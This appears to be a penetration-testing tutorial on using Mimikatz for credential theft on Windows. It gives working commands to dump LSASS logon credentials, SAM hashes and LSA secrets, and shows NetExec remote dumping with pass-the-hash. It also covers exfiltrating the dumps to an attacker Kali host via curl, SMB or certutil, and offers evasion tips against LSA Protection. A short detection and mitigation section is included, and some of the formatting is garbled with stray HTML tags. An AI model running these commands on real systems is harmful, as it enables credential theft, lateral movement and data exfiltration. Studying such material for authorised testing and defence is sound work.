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Introduction
Mimikatz remains the Swiss Army knife of post‑exploitation credential theft. Developed by Benjamin Delpy, this tool extracts plaintext passwords, NTLM hashes, Kerberos tickets, and other authentication artifacts directly from Windows memory. For penetration testers preparing for the OSEP (PEN‑300) exam or engaged in red team operations, a deep understanding of Mimikatz is non‑negotiable. This article breaks down three critical commands that will repeatedly save you in labs and real‑world assessments, while also covering complementary techniques, output management, and defensive considerations.
Learning Objectives
- Understand the core modules of Mimikatz for credential dumping.
- Execute and interpret the output of
sekurlsa::logonpasswords,lsadump::sam, andlsadump::secrets. - Learn to redirect and exfiltrate dumped credentials efficiently.
- Explore alternative tools like NetExec for remote credential harvesting.
- Recognize detection mechanisms and mitigation strategies against Mimikatz.
You Should Know
- Setting the Stage: Launching Mimikatz with Debug Privileges
Before any credential dumping, Mimikatz requires the `SeDebugPrivilege` to interact with processes like LSASS. This privilege is typically held by administrators.
Step‑by‑step guide
- Download Mimikatz from the official GitHub repository or use a pre‑compiled binary.
- Transfer the executable to the target Windows machine (e.g., via SMB, PowerShell, or a staged payload).
- Open a command prompt with administrative rights (right‑click, “Run as administrator”).
4. Execute Mimikatz and enable debug privilege:
.\mimi.exe "privilege::debug" "exit"
Expected output: `Privilege ’20’ OK` confirms the privilege was enabled.
5. Redirect all output to a file for later analysis:
.\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > logonpasswords.txt
Why this matters – Without privilege::debug, Mimikatz cannot access LSASS memory. This first step is mandatory for every subsequent command.
2. Dumping Active Logon Sessions: `sekurlsa::logonpasswords`
The `sekurlsa::logonpasswords` command reads the LSASS process memory to extract credentials of currently logged‑on users. It reveals plaintext passwords (if available), NTLM hashes, and Kerberos tickets.
Step‑by‑step guide
.\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > logonpasswords.txt
What the output contains
- Username and domain
- Authentication package (e.g., NTLM, Kerberos)
- Credential types:
- Password : plaintext if stored reversibly
- NTLM hash : used for pass‑the‑hash attacks
- Kerberos tickets : TGT, service tickets
Practical tip – In OSEP labs, you’ll often pivot from one machine to another. Keeping a clean `.txt` file per host helps you quickly copy hashes into a pass‑the‑hash tool like `impacket‑psexec` or netexec.
3. Extracting Local Account Hashes: `lsadump::sam`
The Security Account Manager (SAM) database stores local user account hashes. Accessing it requires SYSTEM privileges, which Mimikatz can obtain after privilege::debug.
Step‑by‑step guide
.\mimi.exe "privilege::debug" "lsadump::sam" "exit" > sam.txt
Explanation – This command reads the SAM registry hive and outputs the RID, username, and NTLM hash for every local account. These hashes are ideal for offline cracking (with Hashcat or John the Ripper) or direct pass‑the‑hash authentication to other systems sharing the same local credentials.
Windows command alternative – You can also save the SAM hive manually:
reg save hklm\sam sam.hive reg save hklm\system system.hive
Then transfer the hives to your Kali machine and extract hashes with `impacket‑secretsdump` – a good backup method if Mimikatz is blocked.
4. Uncovering LSA Secrets: `lsadump::secrets`
The Local Security Authority (LSA) stores secrets such as service account passwords, cached domain credentials, and auto‑logon passwords. This command is often overlooked but can yield high‑value credentials.
Step‑by‑step guide
.\mimi.exe "privilege::debug" "lsadump::secrets" "exit" > secrets.txt
What you’ll find
– `$MACHINE.ACC` : machine account password (useful for Silver Ticket attacks)
– `DefaultPassword` : auto‑logon credentials
– `NL$KM` : cached domain logon secrets
– Service passwords set via `sc.exe` or other tools
Example output snippet
[/bash]
Secret : _SC_MSSQLSERVER
CurrVal : (SomeServiceCredential)
These credentials can be used to move laterally to SQL servers or other critical assets. <ol> <li>Alternative Approach: Remote Dumping with NetExec As highlighted in the original post’s comments, NetExec (formerly CrackMapExec) can perform similar dumps remotely if you already have local admin credentials or a hash.</li> </ol> Step‑by‑step guide (from Kali) [bash] Install NetExec (if not already) pipx install netexec Dump SAM hashes from a remote machine netexec smb 192.168.1.10 -u Administrator -H <NTLM_hash> --sam Dump LSA secrets netexec smb 192.168.1.10 -u Administrator -H <NTLM_hash> --lsa Dump LSASS remotely (requires admin rights) netexec smb 192.168.1.10 -u Administrator -H <NTLM_hash> -M lsassy
Why this matters – NetExec automates credential dumping across multiple hosts and integrates seamlessly with your existing compromised credentials, saving time during large‑scale assessments.
6. Organizing and Exfiltrating Output
The original post’s author wisely redirects output to text files. Here’s how to streamline that process:
- On Windows:
.\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > C:\temp\host1_logon.txt
- Transfer to Kali:
- Using SMB: `net use Z: \\kali-ip\share` then copy.
- Using Base64: `certutil -encode host1_logon.txt encoded.txt` then copy the encoded string.
- Using Python HTTP server: On Kali,
python3 -m http.server 80; on Windows, `curl -T host1_logon.txt http://kali-ip/`. -
Parsing on Kali:
cat host1_logon.txt | grep -E "NTLM|Password" | tee hashes.txt
Organize per machine in folders for easy reference during reporting or lateral movement.
7. Detection and Mitigation
Understanding how defenders spot Mimikatz is crucial for stealth and for hardening your own environments.
Detection methods
- Event ID 4656 : Handle to LSASS with specific access rights.
- Sysmon Event ID 10 : Process access to LSASS.
- PowerShell logging : If Mimikatz is loaded via scripts.
- Antivirus/EDR signatures : Known Mimikatz strings or behavior.
Mitigation strategies
- Enable LSA Protection (RunAsPPL) – prevents non‑protected processes from opening LSASS.
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1
- Credential Guard – virtualizes secrets, making them inaccessible even with debug privileges.
- Restrict debug privileges to only trusted administrators.
- Use Windows Defender Credential Guard in enterprise environments.
Evasion tips – If you encounter LSA Protection, consider using a driver‑level exploit (e.g., mimidrv) or alternative dumping methods like `procdump` + offline analysis.
What Undercode Say
- Key Takeaway 1: Mimikatz remains a fundamental post‑exploitation tool despite its age. Mastering its core commands (
sekurlsa::logonpasswords,lsadump::sam,lsadump::secrets) provides a reliable way to extract credentials during OSEP labs and real penetration tests. - Key Takeaway 2: Efficient output management—redirecting to text files and organizing per host—transforms chaotic terminal dumps into actionable intelligence, enabling faster pivoting and reporting.
- Analysis: As Microsoft hardens LSASS with features like Credential Guard and LSA Protection, attackers are shifting to techniques that bypass these controls (e.g., dumping from domain controllers via DCSync, using DPAPI abuse, or exploiting unpatched drivers). However, many environments still lack these protections, making Mimikatz as relevant as ever. Red teamers must stay agile, combining Mimikatz with tools like NetExec and adapting to detection mechanisms. Defenders, meanwhile, should prioritize enabling LSA protection and monitoring for suspicious LSASS access.
Prediction
Future Windows versions will likely close more loopholes that Mimikatz exploits. Credential Guard adoption will increase, especially in cloud‑joined and hybrid environments. Consequently, attackers will pivot to alternative credential theft methods such as:
– DCSync attacks targeting domain controllers (using Mimikatz’s `lsadump::dcsync` or Impacket).
– DPAPI abuse to decrypt stored credentials.
– Web cookies and tokens from browsers and cloud applications.
– Memory‑only techniques that avoid touching LSASS altogether.
The arms race will continue, but for now, the three commands outlined here remain essential weapons in every penetration tester’s arsenal.
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